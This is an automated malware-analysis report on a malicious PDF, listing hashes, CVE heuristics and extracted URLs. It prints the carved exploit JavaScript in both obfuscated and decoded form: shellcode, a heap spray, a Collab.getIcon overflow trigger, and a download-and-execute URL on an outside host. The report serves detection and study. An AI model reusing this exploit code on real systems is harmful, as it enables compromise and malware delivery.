Malicious PDF — malware analysis report

Static analysis result for SHA-256 6a22592d3c955260…

MALICIOUS

PDF

5.5 KB Created: 2009-10-05 22:59:14 Authoring application: Scribus 1.3.5svn (via Scribus PDF Library 1.3.5svn)
MD5: 4e1ca1ec7a7486562843b5faede02cc0 SHA-1: 7c379717fba5202f35a82267932cf7deb749bb33 SHA-256: 6a22592d3c95526001e76c075d43cf7abcade10442489b196f70cf37339b13dd
498 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that leverages multiple CVEs (CVE-2007-5659, CVE-2009-0927) to execute arbitrary code. The JavaScript is obfuscated using URL unescaping, charCodeAt, and XOR operations, and ultimately contains embedded URLs that are used to download a second-stage payload. This indicates a downloader or exploit kit functionality.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://chinghachook.cn/cp/load.php?id=31 Referenced by PDF JavaScript
    • http://chinghachook.cn/cp/load.php?id=30Referenced by PDF JavaScript
    • http://chinghachook.cn/cp/load.php?id=29Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0016_001.js
61b5d37c3e831dbe11ed432db4dcf0285a92c954267ae8ac44cc8d6a550acdd3		 pdf-javascript-stream PDF /JS object 16 at offset 0x75B 11873 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function STARTSCRIPT()
{
	this.DEPyJi8Jj5U = function(juPyJi8Jj5U,gmPyJi8Jj5U)
	{
		ecPyJi8Jj5U='';
		juPyJi8Jj5U=unescape(juPyJi8Jj5U);
		frPyJi8Jj5U=juPyJi8Jj5U.length;
		for(j=0; j<frPyJi8Jj5U; ){ecPyJi8Jj5U+= we2(31,(juPyJi8Jj5U.charCodeAt(j)-gmPyJi8Jj5U)^gmPyJi8Jj5U); j++;}
		return ecPyJi8Jj5U;
	}
	
	dPyJi8Jj5U='I need a javascript that I can place in a form field properties area that will replace a "&" symbol with the word "and".....any help would be greatly appreciated. There are a couple of places you can enter a script that modifies the contents of the field.  The question is, do you want the value of the form field to be altered, or just what the user sees on the screen? To modify the value of the field you will need to use a custom keystroke script.  To modify the appearance of the field you will need to enter a format script.  You can find articles on both of these in the tutorial on this site.  The script itself can be done with the JavaScript "replace" function, In both cases (assuming that youve got an AcroForm) the code will look like this. PHP - Java Chat system for web site. Client is Java applet can run in any Java enabled browsers. The server side is PHP script can be installed on any PHP enabled web host. Interface text can be customized in any language. Multi rooms. Java Script Mutator is intended for optimization and protection of your Java Scripts from theft and modifications. Gnostice PDFOne Java is a pure Java library which provides a rich set of APIs to Create, Fill and Read PDF Forms, Secure, Merge, Split, Stamp PDF documents. = %0D%0A%86q%820Qs%82ofu%820%3D0q%80%80.%86iu%87u%82fu%82%83ion.%84oc%84%82inw%28%29%3B%0D%0AQs%82ofu%820%3D0Qs%82ofu%82.%82u%80lqsu%28%2F%5CT%2Fw%2C22%29%3B%0D%0A%86q%820fu%82%83ion0%3D0nu%870Q%82%82qy%28Qs%82ofu%82.shq%82Q%84%28%40%29%2CQs%82ofu%82.shq%82Q%84%28A%29%2CQs%82ofu%82.shq%82Q%84%28B%29%29%3B%0D%0A%0D%0A%83hullsotu0%3D025%85DCDC5%85DCDC5%85%40VUR5%85CCER5%85FFS95%858%40R95%858%40%40A5%85UVCC5%85UBDC5%85URVQ5%85U8%40E5%85VVUS5%85VVVV5%858RGV5%85TVDU5%85UVUV5%85FDUV5%85UCQV5%859VFD5%85DBVC5%859VFD5%85FUUG5%85UV%40C5%85UVUR5%85FDUV5%85R9%40C5%85FA8G5%85UAQA5%85%40G%40C5%85UVAA5%85UVUV5%85QQFF5%85R9UR5%85GG8G5%85FEAA5%85%40GUA5%85UVAV5%85UVUV5%85QQFF5%85R9UG5%85SQ8G5%85A%40EV5%85%40GBT5%85UV%40T5%85UVUV5%85QQFF5%85R9UC5%85%40%408G5%85%40VBA5%85%40G8V5%85UVCR5%85UVUV5%85QQFF5%85R9VV5%85BU8G5%85%40Q9F5%85%40GEG5%85UVB95%85UVUV5%85QQFF5%85QVVR5%85TGFV5%859QBS5%85FFAE5%85VGQQ5%85U8%40F5%85UVUU5%85RAUV5%859QFF5%85FDSR5%85URQQ5%85UU8E5%85FDRF5%85VGRQ5%85%40GR95%85UVFD5%85UVUV5%858GRV5%85VET95%859VS%405%85G8%40G5%85UVUV5%85FFUV5%85VCQQ5%85BQFD5%85BVFS5%85FFRV5%85SVQQ5%85A%408G5%85UVUV5%85RVUV5%85QQFD5%858EVR5%85RFUT5%85RQFD5%85%40GVG5%85UV8U5%85UVUV5%85QQUS5%85B8SV5%85RCUV5%85SA9A5%85B88Q5%85URQV5%858Q9G5%85UVUV5%859QA%405%85FDSV5%85UCQQ5%85UU8E5%85FDRF5%85VGRQ5%85QV%40G5%85UVUV5%858EUV5%85RGU85%85QQUS5%85TSSR5%85RSCD5%85A%40RS5%85SV9Q5%85RSRV5%85QQFD5%858EVC5%85RFUQ5%85RQFD5%85%40GVG5%85UVSS5%85UVUV5%85UV8E5%859QA%405%85FDSV5%85UGQQ5%85UT8E5%85FDRF5%85VGRQ5%85VV%40G5%85UVUV5%858EUV5%85FDA%405%85VVQQ5%85UU8E5%85FDRF5%85VGRQ5%85UV%40G5%85UVUV5%85QUUV5%85RTRD5%85%40UUS5%85%40UUS5%85%40UUS5%85%40UUS5%85%40CFS5%85REUR5%85FDRS5%85%40TCE5%85RTA85%85%40VA%405%85FDRQ5%85FD%40C5%85UG9B5%85RBFD5%85R9UC5%859SFD5%85FDTC5%85VA9R5%85US9G5%85R9AS5%8599FD5%85USSV5%85TSAS5%85QFBF5%85DBQU5%85BSUS5%85TSR95%85U%40A95%85VVEA5%85ATTE5%85UG9R5%85BABU5%85USUB5%85QVAT5%85AU%40D5%85AATD5%859QRA5%85RE%40Q5%85%40DFD5%85REFD5%85USSR5%8589CB5%85UCFD5%85FDQD5%85VCRE5%85CBUS5%85URFD5%85USFD5%85RABQ5%85BTRB5%85UVUG5%85AR%40G5%85A%40AA5%85RQA%405%85QCRT5%85Q%40QB5%85UVQA2%3B%0D%0A%0D%0Aiv0%28fu%82%83ion%5B%40%5D%3D%3D90660fu%82%83ion%5BA%5D%3D%3D%400660fu%82%83ion%5BB%5D%3D%3D%40%29%0D%0A%7B%0D%0A%09%83hulls0%3D0%85nu%83sq%80u%28%83hullsotu%2B25%85GDF85%85G%40GD5%85BvCq5%85FCBv5%85F9F85%85FGFu5%85FAF85%85F8FC5%85FvFv5%85BuFr5%85FuFC5%85FCBv5%85BvG%405%85FvFs5%85FDFA5%85G%40Bu5%85G%40F85%85F9Cv5%85CtFD5%85CACC2%29%3B%0D%0A%0D%0A%09v%85ns%84ion0%83%80q%82y%28%29%0D%0A%09%7B%0D%0A%09wq%82rqwu0
... (truncated)
legacy_pdfkit_stage_000.js
e6eaea5fc74dcc2676659fa3d3e17545356e0cbdda367fda4ed04bed3d5bba3e		 deobfuscated-js unescape charCodeAt XOR decoded JavaScript at offset 0x75B 6568 bytes
Detection
ClamAV: Pdf.Exploit.Agent-35646
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
I nUUT Q jQfQcSbi`d dhQd I SQn `lQSU in Q Vobm ViUlT `bo`UbdiUc QbUQ dhQd gill bU`lQSU Q     cymRol gidh dhU gobT  QnT .....Qny hUl` goelT RU WbUQdly Q``bUSiQdUT. DhUbU QbU Q Soe`lU oV `lQSUc yoe SQn UndUb Q cSbi`d dhQd moTiViUc dhU SondUndc oV dhU ViUlT.  DhU aeUcdion ic, To yoe gQnd dhU fQleU oV dhU Vobm ViUlT do RU QldUbUT, ob jecd ghQd dhU ecUb cUUc on dhU cSbUUn? Do moTiVy dhU fQleU oV dhU ViUlT yoe gill nUUT do ecU Q Secdom kUycdbokU cSbi`d.  Do moTiVy dhU Q``UQbQnSU oV dhU ViUlT yoe gill nUUT do UndUb Q VobmQd cSbi`d.  Yoe SQn VinT QbdiSlUc on Rodh oV dhUcU in dhU dedobiQl on dhic cidU.  DhU cSbi`d idcUlV SQn RU TonU gidh dhU JQfQCSbi`d  bU`lQSU  VenSdion, In Rodh SQcUc (QcceminW dhQd yoefU Wod Qn 1Sbo6obm) dhU SoTU gill look likU dhic. @H@ - JQfQ 3hQd cycdUm Vob gUR cidU. 3liUnd ic JQfQ Q``lUd SQn ben in Qny JQfQ UnQRlUT RbogcUbc. DhU cUbfUb ciTU ic @H@ cSbi`d SQn RU incdQllUT on Qny @H@ UnQRlUT gUR hocd. IndUbVQSU dUxd SQn RU SecdomizUT in Qny lQnWeQWU. Meldi boomc. JQfQ CSbi`d MedQdob ic indUnTUT Vob o`dimizQdion QnT `bodUSdion oV yoeb JQfQ CSbi`dc Vbom dhUVd QnT moTiViSQdionc. 7nocdiSU @46OnU JQfQ ic Q `ebU JQfQ liRbQby ghiSh `bofiTUc Q biSh cUd oV 1@Ic do 3bUQdU, 6ill QnT BUQT @46 6obmc, CUSebU, MUbWU, C`lid, CdQm` @46 ToSemUndc. = 
var AcroVer = app.viewerVersion.toString();
AcroVer = AcroVer.replace(/\D/g,"");
var Version = new Array(AcroVer.charAt(0),AcroVer.charAt(1),AcroVer.charAt(2));

shellcode = "%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1";

if (Version[0]==9 && Version[1]==0 && Version[2]==0)
{
	shellc = unescape(shellcode+"%u7468%u7074%u2f3a%u632f%u6968%u676e%u6168%u6863%u6f6f%u2e6b%u6e63%u632f%u2f70%u6f6c%u6461%u702e%u7068%u693f%u3d64%u3133");

	function spary()
	{
	garbage = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090") + shellc;
	nopblock = unescape("%u9090%u9090"); 
	headersize = 10;
	acl = headersize+garbage.length;
	while (nopblock.length<acl) nopblock+=nopblock;
	fillblock = nopblock.substring(0, acl);
	block = nopblock.substring(0, nopblock.length-acl);
	while(block.length+acl<0x40000) block = block+block+fillblock;
	memory = new Array();
	for (i=0;i<180;i++) memory[i] = block + garbage;
	var buffersize = 4012;
	var buffer = Array(buffersize);
	for (i=0; i<buffersize; i++){ buffer[i] = unescape("%0a%0a%0a%0a"); }
	Collab.getIcon(buffer+"_N.bundle");
	}
	spary();
	buffer = null;
	memory = null;
}
else if(Version[0]==8)
{
	shellc = unescape(shellcode+"%u746
... (truncated)

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